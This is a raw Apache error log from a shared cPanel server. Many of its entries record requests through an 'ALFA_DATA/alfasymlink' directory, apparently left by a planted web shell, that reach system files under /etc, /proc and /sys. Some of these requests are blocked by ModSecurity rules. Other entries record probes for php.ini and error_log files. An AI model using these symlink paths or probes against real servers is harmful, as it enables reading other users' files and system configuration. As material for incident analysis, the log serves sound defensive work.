[Mon Oct 26 21:43:58.137509 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 54.84.169.196:19367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:44:04.364255 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 85.208.96.212:15522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/cpu_partial
[Mon Oct 26 21:44:06.186655 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 44.217.177.142:51418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/resource0
[Mon Oct 26 21:44:14.139265 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.226.89.140:42158] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:44:26.226687 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.1.157.90:13319] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:44:34.125704 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 34.233.114.237:25004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/device:0d/eject
[Mon Oct 26 21:44:38.196031 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.204.71.8:32570] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:44:38.196228 2026] [security2:error] [pid 3122515:tid 3122515] [client 52.204.71.8:32570] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/QEMU0002:00/power/runtime_active_time"] [unique_id "auACBv9ZN9W71fUwv43RKgAAAAA"]
[Mon Oct 26 21:44:38.196272 2026] [security2:error] [pid 3122515:tid 3122515] [client 52.204.71.8:32570] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/QEMU0002:00/power/runtime_active_time"] [unique_id "auACBv9ZN9W71fUwv43RKgAAAAA"]
[Mon Oct 26 21:44:38.711045 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 85.208.96.201:44254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/slab_size
[Mon Oct 26 21:44:42.188373 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.2.191.202:26165] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:44:46.150269 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 44.207.69.106:50200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:44:46.486364 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 85.208.96.207:43872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/partial
[Mon Oct 26 21:44:50.080890 2026] [core:error] [pid 3130075:tid 3130075] (13)Permission denied: [client 185.191.171.16:19918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/custom_divisor
[Mon Oct 26 21:44:54.176754 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 44.207.69.106:49126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu0/driver/cpu1/firmware_node/physical_node/driver/bind
[Mon Oct 26 21:45:06.255913 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 54.159.98.248:1901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:45:11.660932 2026] [security2:error] [pid 3122515:tid 3122515] [client 16.216.88.243:28672] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/options-ssl-nginx.conf"] [unique_id "auACJ_9ZN9W71fUwv43RLAAAAAA"]
[Mon Oct 26 21:45:11.661412 2026] [security2:error] [pid 3122515:tid 3122515] [client 16.216.88.243:28672] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/options-ssl-nginx.conf"] [unique_id "auACJ_9ZN9W71fUwv43RLAAAAAA"]
[Mon Oct 26 21:45:11.661748 2026] [security2:error] [pid 3122515:tid 3122515] [client 16.216.88.243:28672] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/options-ssl-nginx.conf"] [unique_id "auACJ_9ZN9W71fUwv43RLAAAAAA"]
[Mon Oct 26 21:45:14.309926 2026] [security2:error] [pid 3132187:tid 3132187] [client 107.23.62.75:55195] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/pci-stub/"] [unique_id "auACKrChYJundcs5uwsptwAAAAQ"]
[Mon Oct 26 21:45:14.309990 2026] [security2:error] [pid 3132187:tid 3132187] [client 107.23.62.75:55195] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/pci-stub/"] [unique_id "auACKrChYJundcs5uwsptwAAAAQ"]
[Mon Oct 26 21:45:18.156248 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 18.215.77.19:31189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0f/subsystem/devices/device:03/physical_node/rom
[Mon Oct 26 21:45:22.150378 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.230.69.161:40164] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:45:38.183569 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 3.93.253.174:9018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:45:46.148570 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.0.41.164:5641] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:46:10.139640 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 52.54.15.103:58678] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:46:22.137578 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.204.89.56:64150] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:46:26.245319 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 52.44.148.203:59865] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:46:30.212042 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 18.207.79.144:6629] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:46:38.139804 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 52.200.58.199:57545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:46:54.143722 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.203.111.15:24979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:47:10.154698 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.5.242.243:54577] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:47:14.204670 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.2.83.227:5377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:47:22.168324 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 44.206.65.8:44202] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:47:30.211395 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.203.111.15:60619] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:47:34.192158 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 3.226.34.98:52262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/drivers/ec/unbind
[Mon Oct 26 21:47:38.138992 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 3.215.59.93:47410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:47:46.133842 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 98.83.72.38:51233] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:47:54.155450 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 54.210.152.179:15790] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:47:58.747104 2026] [authz_core:error] [pid 3132187:tid 3132187] [client 193.32.209.252:42392] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:48:06.425906 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 54.80.73.122:50732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/graphics/fb0/device/subsystem/drivers/ata_generic/unbind
[Mon Oct 26 21:48:14.131195 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 54.92.171.106:26312] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:48:27.934631 2026] [core:error] [pid 3137125:tid 3137125] (13)Permission denied: [client 216.244.66.250:44422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/secondarymx
[Mon Oct 26 21:48:30.167836 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.0.105.244:25024] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:48:33.903305 2026] [security2:error] [pid 3100940:tid 3100940] [client 107.172.76.131:57034] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAC5D77nSD73jfhp0aFfAAAAAc"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 21:48:33.903346 2026] [security2:error] [pid 3100940:tid 3100940] [client 107.172.76.131:57034] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAC5D77nSD73jfhp0aFfAAAAAc"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 21:48:38.739421 2026] [authz_core:error] [pid 3132187:tid 3132187] [client 64.205.72.13:2048] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:48:39.065341 2026] [authz_core:error] [pid 3117426:tid 3117426] [client 200.138.46.43:5082] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:48:41.932378 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 85.208.96.198:33488] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:48:46.195512 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 3.235.215.92:34254] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:48:50.132922 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 52.54.249.218:48804] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:48:58.161158 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 98.84.184.80:35676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:48:58.324861 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 216.244.66.250:44578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/exim_suspended_list
[Mon Oct 26 21:49:00.254405 2026] [security2:error] [pid 3117426:tid 3117426] [client 216.244.66.250:52724] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/named.conf.rebuilddnsconfig"] [unique_id "auADDP5ZEdGRoel0j8fghAAAAAg"]
[Mon Oct 26 21:49:00.254468 2026] [security2:error] [pid 3117426:tid 3117426] [client 216.244.66.250:52724] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/named.conf.rebuilddnsconfig"] [unique_id "auADDP5ZEdGRoel0j8fghAAAAAg"]
[Mon Oct 26 21:49:10.253499 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 184.72.84.154:25680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:1c/subsystem/uevent
[Mon Oct 26 21:49:14.139437 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 44.210.213.220:46125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:49:22.297554 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 44.220.2.97:3903] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:49:26.132671 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.44.174.136:59239] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:49:30.252335 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 18.208.11.93:9907] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/0000:00:04.0/resource4_wc
[Mon Oct 26 21:49:38.170326 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 44.208.193.63:21393] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/subsystem/drivers/exar_serial/uevent
[Mon Oct 26 21:49:46.173916 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 34.227.156.153:44519] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:49:50.163348 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 44.194.139.149:48460] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:49:57.516911 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 85.208.96.198:33372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/total_objects
[Mon Oct 26 21:49:58.332509 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 98.83.72.38:24726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:50:02.161571 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 44.215.235.20:21320] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:50:06.207405 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 34.231.45.47:60737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:50:18.287246 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.212.86.97:33803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:50:50.166941 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 100.29.63.24:60279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:50:54.202304 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 3.232.82.72:32934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/devices/PNP0303:00/physical_node1/driver/serio0/drvctl
[Mon Oct 26 21:50:57.606408 2026] [core:crit] [pid 3132187:tid 3132187] (13)Permission denied: [client 66.132.172.132:45212] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 21:50:59.886553 2026] [core:crit] [pid 3122515:tid 3122515] (13)Permission denied: [client 66.132.172.132:45234] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 21:51:06.170119 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.221.203.24:35810] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:51:22.327444 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 35.174.141.243:63906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:51:30.210587 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 35.169.102.85:35418] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:51:34.159071 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 35.174.253.85:16064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:51:38.322948 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.220.148.166:21918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:51:46.293960 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 3.81.253.213:22811] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/input/input0/subsystem/input4/device/driver/module/drivers/serio:psmouse/bind
[Mon Oct 26 21:52:14.170601 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 98.83.177.42:9928] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:52:18.246929 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 184.73.239.35:24213] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:52:18.247114 2026] [security2:error] [pid 3130075:tid 3130075] [client 184.73.239.35:24213] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/node0/memory7/valid_zones"] [unique_id "auAD0rRvv9rueX6FuiOcVwAAAAM"]
[Mon Oct 26 21:52:18.247144 2026] [security2:error] [pid 3130075:tid 3130075] [client 184.73.239.35:24213] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/node0/memory7/valid_zones"] [unique_id "auAD0rRvv9rueX6FuiOcVwAAAAM"]
[Mon Oct 26 21:52:30.156389 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 18.205.127.11:54349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:52:34.157347 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 100.25.120.246:57605] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:52:50.162340 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 44.209.187.99:1668] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:52:54.186847 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.208.11.93:33963] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:53:10.181918 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.85.126.86:26608] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:53:18.295608 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 18.213.240.226:15363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:53:26.313682 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 3.227.180.70:45359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:53:38.160963 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 3.217.82.254:27921] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:53:54.186019 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 98.82.39.241:9074] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:53:58.324369 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.204.37.237:44245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:54:02.227094 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 34.225.243.131:49762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:54:06.513388 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 35.171.141.42:1456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:54:14.159195 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 44.220.2.97:42252] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:54:14.433008 2026] [authz_core:error] [pid 3137125:tid 3137125] [client 51.81.111.115:21728] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 21:54:22.193577 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 3.215.59.93:48967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:54:26.216176 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.214.19.8:39948] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:54:30.184982 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.202.233.37:22700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:54:38.181274 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 34.206.249.188:55104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:54:50.217551 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 34.225.138.57:31924] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:54:54.192440 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 3.227.180.70:65059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:54:58.171435 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.218.170.184:51648] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:55:02.267331 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 52.1.157.90:18476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:55:10.277319 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.205.163.103:46474] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:55:14.158933 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 34.231.118.144:21235] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/device/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/rom
[Mon Oct 26 21:55:18.170565 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 44.205.192.249:6661] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:55:22.171941 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.235.239.240:46436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:55:26.158687 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.202.52.82:20384] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:55:30.172012 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.54.95.127:3677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:55:34.239672 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 85.208.96.212:40576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/shrink
[Mon Oct 26 21:55:42.190369 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 98.83.177.42:19377] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:55:48.927272 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 85.208.96.199:37856] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:56:02.285601 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 34.234.200.207:29108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty4/subsystem/ptmx/subsystem/ttyS1/device/tty/ttyS2/line
[Mon Oct 26 21:56:10.315517 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.224.205.25:35383] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:56:18.154173 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 23.21.228.180:36016] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:56:26.161982 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 98.83.178.66:19819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:56:30.175751 2026] [ssl:error] [pid 3132187:tid 3132187] (5)Input/output error: [client 34.192.67.98:51666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:56:42.184068 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.3.127.170:20721] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:56:50.150904 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 18.208.11.93:48981] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:56:50.207606 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 185.191.171.3:32012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/partial
